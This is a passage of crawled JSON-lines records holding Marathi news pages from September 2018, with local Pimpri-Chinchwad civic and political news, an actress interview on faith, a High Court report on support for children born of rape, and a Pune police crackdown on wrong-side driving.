त्याला दुजोरा देत आहे. अशा पंतप्रधानांना आणि भाजपाला पुढील वर्षात होणा-या लोकसभा निवडणूकीत मतदार राजा घरी बसवल्या शिवाय राहणार नाही असे सचिन साठे यांनी प्रसिध्दीस दिलेल्या पत्रकात म्हटलं आहे.\nTags: PCLIVE7.COMPcmc newsअमर साबळेअमित शहाकाँग्रेसखासदारचिंचवडनरेंद्र मोदीपिंपरीभाजपाशहराध्यक्षसचिन साठे\nकासारवाडीत उद्या ‘पवना स्वच्छता’ अभियान\nजगद्‌गुरू श्री संत तुकाराम महाराजांच्या पालखी सोहळ्याचे ५ जुलैला प्रस्थान\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00196.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.saamana.com/sampada-joglekar/", "date_download": "2018-09-25T17:14:02Z", "digest": "sha1:2RPA6FCEQJL6C6DPU24SW2EKX7VQ4QIE", "length": 17922, "nlines": 273, "source_domain": "www.saamana.com", "title": "मेहनतीतून देव मिळतो! | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nखूप मेहनत केल्यानंतर एखादी गोष्ट आपल्याला साध्य होते. त्यावेळी आपले कौतुक होते. यामुळे आपल्यामध्ये जी सकारात्मकता येते तिला मी ‘भक्ती’ असे म्हणते. ही भक्ती साध्य करण्याविषयी सांगतेय प्रसिद्ध अभिनेत्री आणि निवेदिका संपदा जोगळेकर-कुलकर्णी\n – सकारात्मक ऊर्जा. जी मला कधी एखादी वास्तू, ऊर्जा, व्यक्ती आणि कामातून मिळते. ती ऊर्जा म्हणजे माझ्यासाठी देव आहे.\n – कोल्हापूरचं महालक्ष्मी मंदिर\nआवडती प्रार्थना – खरा तो एकची धर्म…\n – देवा तुझ्या दारी आलो गुणगान गाया… प्रसिद्ध प्रवचनकार चारुदत्त आफळे यांच्या रचना ऐकायला खूप आवडतात.\nधार्मिक साहित्य कोणतं वाचलंय का – भगवद्गीता वाचली आहे.\nदैवी चमत्कारांवर विश्वास आहे का – नाही, कधी अनुभव नाही आला.\nएखादी गोष्ट जी केल्यावर समाधान मिळतं – एखाद्या व्यक्तीला जी वस्तू आवडत असेल ती त्याला दिली की मला समाधान वाटतं.\nदेवावर किती विश्वास आहे – खूप विश्वास आहे.\nनास्तिक लोकांबद्दल काय सांगशील – ‘नास्तिक’ या भावनेचाही आदर केला पाहिजे. त्यांना जेव्हा वाटेल तेव्हा ते नक्कीच म्हणतील,\nदेवभक्त असावं, पण देवभोळं नसावं.. तुमचं मत काय – यासाठी कृतज्ञ असावं. पण आहारी जाऊ नये.\nइच्छा पूर्ण होण्यासाठी नवस करता का - नवस म्हणजे काय माहीत नाही. प्रयत्न करण्यांकरिता मी देवाकडे प्रार्थना करते.\nज्योतिषशास्त्रवर कितपत विश्वास आहे – ‘भविष्यावर बोलू काही’ करायच्या आधी मी पूर्ण विरुद्ध होते. नंतर कार्यक्रमाच्या निमित्ताने जोतिषशास्त्र शिकले. तेव्हा यामध्ये खूप तथ्य आहे,\nअभिनय आणि भक्तीची सांगड कशी घालता – नृत्यातील कौतुकामुळे किंवा मेहनतीमुळे यश मिळते, याला मी ‘भक्ती’ असं मानते.\nमूर्तिपूजा महत्त्वाची वाटते की प्रार्थना – दोन्हीमुळे सकारात्मकता वाढते, असं वाटतं.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nलालबागच्या राजाचं विसर्जन… पुढल्या वर्षी लवकर या\nभगव्या महालात श्रींचा बाप्पा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00196.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%BF%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A5%80-%E0%A4%9A%E0%A4%BF%E0%A4%82%E0%A4%9A%E0%A4%B5%E0%A4%A1%E0%A4%9A%E0%A4%BE-%E0%A4%B8%E0%A4%BE%E0%A4%82%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%A6%E0%A4%BE/", "date_download": "2018-09-25T17:59:09Z", "digest": "sha1:MODRU6NZP6GFGBAYEPBKBFFJHLIGCK3T", "length": 9170, "nlines": 73, "source_domain": "pclive7.com", "title": "पिंपरी चिंचवडचा सांप्रदायायिक वारसा जपण्याचे काम करू – महापौर राहुल जाधव | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पिंपरी चिंचवडचा सांप्रदायायिक वारसा जपण्याचे काम करू – महापौर राहुल जाधव\nपिंपरी चिंचवडचा सांप्रदायायिक वारसा जपण्याचे काम करू – महापौर राहुल जाधव\nपिंपरी (Pclive7.com):- सामान्य जनतेचे काम करणे हेच लोकप्रतिनिधींचे काम असते. जनता काम करणा-या लोकप्रतिनिधींना निश्चितच न्याय देते. पिंपरी चिंचवड शहराला स्मार्ट सिटी करण्याबरोबरच शहराचा सांप्रदायायिक वारसा जपण्याचे काम आपण करू. तसेच शहराच्या सर्वांगीण विकासासाठी सर्वांना बरोबर घेऊन राजकारण बाजूला ठेवून काम करण्याची ग्वाही महापौर राहुल जाधव यांनी दिली.\nआकुर्डी काळभोरनगर येथील वारकरी शिल्पाचे उद्‌घाटन महापौर राहुल जाधव यांच्या हस्ते रविवारी करण्यात आले. या वेळी स्थानिक नगरसेविका वैशाली काळभोर, मिनल यादव, राष्ट्रवादीचे शहराध्यक्ष संजोग वाघेरे पाटील, विरोधी पक्षनेते दत्ता साने, ज्येष्ठ नगरसेवक नाना काटे, राजू मिसाळ, नगरसेविका डॉ. वैशाली घोडेकर, सुलक्षणा धर, संगीता ताम्हाणे, गीता मंचरकर, माजी नगरसेविका भारती फरांदे, माजी नगरसेवक राजू दुर्गे, शंकर पांढरकर, प्रसाद शेट्टी, राष्ट्रवादी युवक शहराध्यक्ष विशाल वाकडकर, विशाल काळभोर, उद्योजक शंकर काळभोर, जालिंदर काळभोर, तुळशीराम काळभोर, मुकुंद काळभोर, समीर काळभोर, संजय जगताप, शिक्षण मंडळाचे माजी अध्यक्ष विजय लोखंडे, फजल शेख, मूर्तीकार योगेश कुंभार आदी उपस्थित होते.\nमहापौर राहुल जाधव म्हणाले की, देहू पंढरपूर वारीचा दुसरा मुक्काम आकुर्डी येथे असतो. आकुर्डीत वारक-यांचे प्रातिनिधिक स्वागत करणारे हे शिल्प आहे. माननीय न्यायालयाच्या निर्णयाचा आदर राखून गणपती मंडळांना बक्षीसांचे वाटप करू, अशीही ग्वाही यावेळी महापौर जाधव यांनी दिली.\nवाघेरे पाटील म्हणाले की, कै. सुनील दुर्गे चौकाचे सुशोभिकरण करणे आणि वारकरी शिल्प उभारण्याकामी स्थानिक नगरसेविका वैशाली काळभोर यांनी यशस्वी पाठपुरावा केला. त्यांच्या प्रयत्नातूनच उभारण्यात आलेले हे शिल्प शहराच्या सौंदर्यात भर घालत आहे. मीनल यादव व राजू दुर्गे यांनीही यावेळी मनोगत व्यक्त केले.\nप्रास्ताविक वैशाली काळभोर यांनी केले. सुत्रसंचालन दीपक साकोरे यांनी केले. आभार खंडेराव काळे यांनी मानले.\nTags: MayorPCLIVE7.COMPcmc newsRahul Jadhavचिंचवडपिंपरीमहापौरराहुल जाधववारसासांप्रदायिक\nशाळा भीकेचा कटोरा घेऊन सरकारकडे का येतात\nकोल्हापूरचे ‘हृदय’ आणि ‘लिव्हर’ पिंपरीत दाखल, वाहतूक पोलीसांचा ‘ग्रीन कॉरिडोर’\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00197.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/maharashtra/what-policy-abuse-children-born-40839", "date_download": "2018-09-25T17:30:25Z", "digest": "sha1:BNZR232ILX2EYLGJEADKTPNGSHDI5DAR", "length": 12027, "nlines": 177, "source_domain": "www.esakal.com", "title": "What policy abuse for children born? अत्याचारातून जन्मलेल्या मुलांसाठी कोणते धोरण? | eSakal", "raw_content": "\nअत्याचारातून जन्मलेल्या मुलांसाठी कोणते धोरण\nबुधवार, 19 एप्रिल 2017\nउच्च न्यायालयाची राज्य सरकारकडे विचारणा\nमुंबई - अत्याचारातून जन्मलेल्या मुलांच्या संगोपन आणि विकासासाठी राज्य सरकारने योजना किंवा धोरण आखले आहे का, अशी विचारणा मंगळवारी मुंबई उच्च न्यायालयाने केली. या संदर्भात महिला व बालविकास विभागाच्या मुख्य सचिवांना पुढील सुनावणीला हजर राहण्याचे निर्देशही खंडपीठाने दिले.\nउच्च न्यायालयाची राज्य सरकारकडे विचारणा\nमुंबई - अत्याचारातून जन्मलेल्या मुलांच्या संगोपन आणि विकासासाठी राज्य सरकारने योजना किंवा धोरण आखले आहे का, अशी विचारणा मंगळवारी मुंबई उच्च न्यायालयाने केली. या संदर्भात महिला व बालविकास विभागाच्या मुख्य सचिवांना पुढील सुनावणीला हजर राहण्याचे निर्देशही खंडपीठाने दिले.\nबलात्कार आणि ऍसिड हल्ला पीडित महिलांच्या मदतीसाठी राज्य सरकारची मनोधैर्य योजना आहे. मात्र, त्यानुसार देण्यात येणारी तीन लाख रुपयांची नुकसानभरपाई अत्यंत कमी असून, ती वाढवून 10 लाख रुपयांपर्यंत करावी, अशी मागणी करण्यात आलेली आहे. यासंबंधी खुलासा करण्यासाठी न्या. रणजित मोरे व न्या. अनुजा प्रभुदेसाई यांच्या खंडपीठाने मुख्य सचिवांना हजर राहण्याचे निर्देश दिले आहेत.\nबलात्कारपीडित महिला व बालकांच्या विकासासाठी राज्य सरकारने धोरण किंवा योजना सुरू केली आहे का, याबाबत सविस्तर तपशील देण्याचे निर्देशही न्यायालयाने दिले. याचिकेवरील पुढील सुनावणी 20 मे रोजी निश्‍चित केली आहे.\nराज्य सरकारने मनोधैर्य योजना 2013 मध्ये सुरू केली असली तरी, अद्याप या योजनेची रीतसर आणि दिलासादायक अंमलबजावणी होत नाही, अशी नाराजी न्यायालयाच्या अन्य एका खंडपीठाने व्यक्त केली आहे.\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00197.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/", "date_download": "2018-09-25T16:55:35Z", "digest": "sha1:PXSGQRDHZF6Y4GYN762C3TB4UTPV5AM6", "length": 9728, "nlines": 140, "source_domain": "www.pudhari.news", "title": "पुढारी", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nInd vs Afg Live : अफगाणिस्तानचे भारतासमोर २५३ धावांचे आव्हान\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nउदयनराजेंबद्दल काय म्‍हणाले शरद पवार... (Video)\n'...तर मोदी माझ्या नजरेस नजर मिळवणार नाहीत'\nअंगावर शहारा आणणारा 'तुम्बाड'चा पाहा व्‍हिडिओ\nदिर्घकाळ फोनची बॅटरी टिकण्‍यासाठी असे करा चार्जिंग\n...तर पुन्‍हा सर्जिकल स्‍ट्राईक : बिपीन रावत\nकर्णधार म्हणून धोनीचा २०० वा एकदिवसीय सामना\nहिमाचलमध्ये ३५ आयआयटी विद्यार्थ्यांना वाचविले\nअक्षय कुमार सारखाच आरवही स्‍टंटबाज (Video)\nतेलंगणामध्ये नेत्यांच्या फोन टॅपिंगमुळे खळबळ\nगायक बालाभास्करच्या चिमुकलीचा अपघातात मृत्यू\n'मी शिवाजी पार्क'ला सेन्‍सॉरचे प्रमाणपत्र नाही; महेश मांजरेकर जाणार कोर्टात\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nऑनलाइन कंपन्यांच्या विरोधात शुक्रवारी 'भारत बंद'\n'या' सेलेब्‍सचाही अवयवदानाचा संकल्‍प (Video)\nअंगावर शहारा आणणारा 'तुम्बाड'चा पाहा व्‍हिडिओ\nअक्षय कुमार सारखाच आरवही स्‍टंटबाज (Video)\nगायक बालाभास्करच्या २ वर्षीय चिमुकलीचा अपघातात मृत्यू\n'मी शिवाजी पार्क'ला सेन्‍सॉरचे प्रमाणपत्र नाही; महेश मांजरेकर जाणार कोर्टात\nअंगावर शहारा आणणारा 'तुम्बाड'चा पाहा व्‍हिडिओ\nअक्षय कुमार सारखाच आरवही स्‍टंटबाज (Video)\nगायक बालाभास्करच्या २ वर्षीय चिमुकलीचा अपघातात मृत्यू\n'मी शिवाजी पार्क'ला सेन्‍सॉरचे प्रमाणपत्र नाही; महेश मांजरेकर जाणार कोर्टात\n8:38PM : विरार : कोपरी येथे एका दांपत्याची गळफास घेऊन आत्महत्या\n7:57PM : हिमाचल प्रदेश : शिमला जिल्ह्यात घरावर दगड कोसळून तिघांचा मृत्यू, तिघे गंभीर जखमी\n5:51PM : विराट कोहलीचा सर्वोच्च क्रीडा राजीव गांधी पुरस्‍काराने गौरव\n5:48PM : नवी दिल्ली : भारतातील बँकांना ५ हजार कोटींचा चुना लावून परदेशात पळून नितीन संदेसरा याच्या ठावठिकाण्याबाबत भारताकडून नायजेरियातील इंटरपोलला विचारणा\n5:44PM : सांगलीत चार लाखाचा गुटखा जप्‍त, संशयित ताब्यात\n5:43PM : नवी दिल्ली : राष्ट्रपती रामनाथ कोविंद यांच्या हस्ते अर्जुन पुरस्कार स्वीकारताना टेबल टेनिस खेळाडू मनिका बत्रा आणि भालाफेकपटू नीरज चोप्रा.\n5:41PM : औरंगाबादमध्ये घरगुती वादातून पत्‍नीच्या पोटात स्‍क्रूड्रायव्‍हर खुपसून पतीकडून खून\n4:42PM : India vs Afghanistan : नाणेफेक जिंकून अफगाणिस्तानचा फलंदाजीचा निर्णय\n4:13PM : मुंबईच्या नरिमन पॉईंट ते मालाड मार्वेपर्यंत समुद्र किनारपट्टीलगत भराव टाकून मुंबई किनारा रस्ता प्रकल्पांचे काम हाती घेतले जाणार\n4:13PM : नवी दिल्ली : तिहेरी तलाक अध्यादेशाला सर्वोच्च न्यायालयात आव्हान, समस्थ केरळ जमीयत उल उलमा या संघटनेकडून याचिका\nआर्थिक स्थितीत सुधारणा होईल.\nनवीन कार्याची आखणी कराल.\nकौटुंबिक तणाव कमी होतील.\nगुंतवणूक करताना सावध रहा.\nबेपर्वाईमुळे अनपेक्षित प्रश्‍न उभे राहतील.\nमनातील सुप्त इच्छा पूर्ण होईल.\nसंभाषणात सावधगिरी बाळगा. आर्थिक प्रश्‍नांची सोडवणूक होईल.\nसौभाग्यवश आपल्या प्रणयपूर्ण व्यवहारामुळे आपण सहयोगी स्वभावाचे ठराल.\nलोकसभा आणि विधानसभा यांच्या निवडणुका एकत्र घ्‍याव्यात का याबाबत आपणास काय वाटते\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00197.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/maharashtra/pune-news/imprisoned-for-six-months-after-rong-side/articleshow/65774417.cms", "date_download": "2018-09-25T18:07:54Z", "digest": "sha1:ULQF4UYTQIGZH77ABUYWCIEMSTLBJ4JI", "length": 18754, "nlines": 163, "source_domain": "maharashtratimes.indiatimes.com", "title": "pune news News: imprisoned for six months after 'rong side' - ‘राँग साइड’ने गेल्यास सहा महिने कैद | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\n‘राँग साइड’ने गेल्यास सहा महिने कैद\nम. टा. प्रतिनिधी, पिंपरी\n'राँग साइड'ने कार चालविल्यास यापुढे थेट सहा महिन्यांची कैद होईल, अशा प्रकारचे गुन्हे संबंधितांवर दाखल करण्याचे आदेश पिंपरी-चिंचवड पोलिस आयुक्त आर. के. पद्मनाभन यांनी दिले आहेत. तसेच राँग साइडने दुचाकी चालविल्यास त्यांच्यावरदेखील गंभीर स्वरूपाच्या गुन्ह्यांची नोंद केली जाणार असून, मंगळवार (११ सप्टेंबर) सर्व पोलिस ठाण्याच्या प्रमुखांनी या प्रकारे गुन्हे दाखल करण्यास सुरुवात केली आहे.\nपिंपरी-चिंचवड पोलिस आयुक्तालय सुरू झाल्यावर आयुक्त पद्मनाभन यांनी सर्वप्रथम येथील वाहतूक कोंडी आणि बेशिस्त वाहतुकीवर तोडगा काढण्यास सुरुवात केली आहे. याचा पहिला टप्पा म्हणून हिंजवडी आयटी पार्कमध्ये चक्राकार एकेरी वाहतूक सुरू करण्यात आली होती. त्यानंतर पुणे-नाशिक महामार्गावरील ऑटोहब चाकणसाठी ट्रॅफिकचा अॅक्शन प्लॅन बनविण्याचे काम हाती घेण्यात आले आहे.\nकोंडी सोडविण्याबरोबरच आता बेशिस्त वाहनचालकांवर कारवाईचा बडगा उगारण्यास सुरुवात करण्यात आली आहे. पहिल्यांदा कार राँग साइडने नेणाऱ्यांवर लगेचच सहा महिन्यांची कैद आणि एक हजार रुपये दंड किंवा केवळ सहा महिन्यांची कैद अथवा दोन्ही दंड एकत्रित अशा प्रकारे गुन्हे दाखल होणार आहेत. दुचाकीस्वारांवर सुरुवातीला आर्थिक दंडाची तरतूद असलेल्या कलमांनुसार गुन्हा दाखल करण्यात येणार आहे. त्यानंतर परत तीच दुचाकी राँग साइडने येताना आढळल्यास त्यावर कारप्रमाणे सहा महिन्यांची कैद असलेल्या गुन्ह्यांची नोंद होणार आहे.\nहिंजवडी इंडस्ट्रीअल असोसिएशनच्या (एचआयए) सदस्यांबरोबर आयुक्त पद्मनाभन यांनी मंगळवारी संवाद साधला. 'एचआयए'च्या कार्यालयात बैठकीचे आयोजन करण्यात आले होते. या वेळी देखील आयुक्तांनी राँग साइडने जाणाऱ्या कारवर कारवाई करण्यात येणार असल्याचे स्पष्ट केले. तसेच सायबर आणि अभियंत्यांची सुरक्षा महत्त्वाची असून, त्याला आतापर्यंत योग्य प्रकारे प्राधान्य देण्यात आले आहे. परंतु, येथील वाहतूक सुरक्षा हादेखील महत्त्वाचा मुद्दा असून, त्याकडे म्हणावे तेवढे लक्ष दिले गेले नाही. यामुळेच येथील कोंडीचा प्रश्न गंभीर बनत गेला, असे सांगतानाच सुरक्षा कोणतीही असो नियम पाळणे महत्त्वाचे आहे, असे आयुक्त पद्मनाभन म्हणाले.\nया वेळी अप्पर पोलिस आयुक्त मकरंद रानडे, 'एचआयए'चे मुख्य कार्यकारी कर्नल चरजितसिंग भोगल (निवृत्त), एचआयएच्या सुरक्षा विभागाचे प्रमुख लेफ्टनंट कर्नल योगेश जोशी (निवृत्त), टीसीएसचे केंद्र प्रमुख सचिन रत्नपारखी, पोलिस उपायुक्त नम्रता पाटील, विनायक ढाकणे, सहायक आयुक्त श्रीधर जाधव, वरिष्ठ निरीक्षक किशोर म्हसवडे, शिवाजी गवारे आदींसह सर्व कंपन्यांचे प्रतिनिधी उपस्थित होते.\nआयुक्त पद्मनाभन म्हणाले, 'समस्या भरपूर असतात. पण त्या योग्य ठिकाणी मांडायला हव्यात. समूहात समस्या विचारल्यास कोणीही समस्या सांगत नाही. पण वैयक्तिक विचारल्यास प्रत्येकजण त्या सांगतो. आपल्या अडचणी एकमेकांशी शेअर करा. जबाबदाऱ्या ओळखा आणि नियम पाळले तर प्रशासनातही सुधारणा होतात. हिंजवडी सध्या वाहतुकीच्या समस्येने ग्रासली आहे. तिला त्यातून सोडविण्यासाठी सर्व स्तरांवर प्रयत्न होणे गरजेचे आहे. सध्याच्या वाहतूक समस्येवर तोडगा काढण्यासाठी तत्काळ उपाययोजना करणे महत्वाचे आहे.'\nअप्पर आयुक्त रानडे म्हणाले की, 'पिंपरी-चिंचवड पोलिस आयुक्तालयाला सध्या मनुष्यबळाची सर्वांत मोठी अडचण आहे. उपलब्ध मनुष्यबळामध्ये चांगले पोलिसिंग करण्याचा प्रयत्न सुरू आहे. पोलिस आपल्या पातळीवर प्रयत्न करत असून नागरिकांनी देखील त्यासाठी सहभाग नोंदविणे गरजेचे आहे.'\nएका कारमध्ये किमान दोन प्रवास करावा. जेणेकरून वाहनांची संख्या कमी करता येईल.\n# रस्त्यांची गुणवत्ता सुधारणे\n# वाहतुकीची शिस्त पाळायला हवी\n# बंद पडलेल्या वाहनांसाठी ठराविक अंतरावर टो-व्हॅन असावी\n# नागरिकांसोबत सुसंवाद वाढवायला हवा\n# हिंजवडीकडे येणाऱ्या सर्व रस्त्यांचे रुंदीकरण करावे\n# रस्त्यावरील बस थांबे मागे घ्यावेत, त्यामुळे वाहतुकीस अडथळा येणार नाही\n# आवश्यक त्या ठिकाणी झेब्रा क्रॉसिंग करावे\n# शॉपिंग कॉम्प्लेक्स, वाइन शॉप समोरील वाहनांना थांबू देऊ नये\nहिंजवडीत २५ मिनिटांचा वेळ वाचला\nचक्राकार एकेरी वाहतुकीमुळे 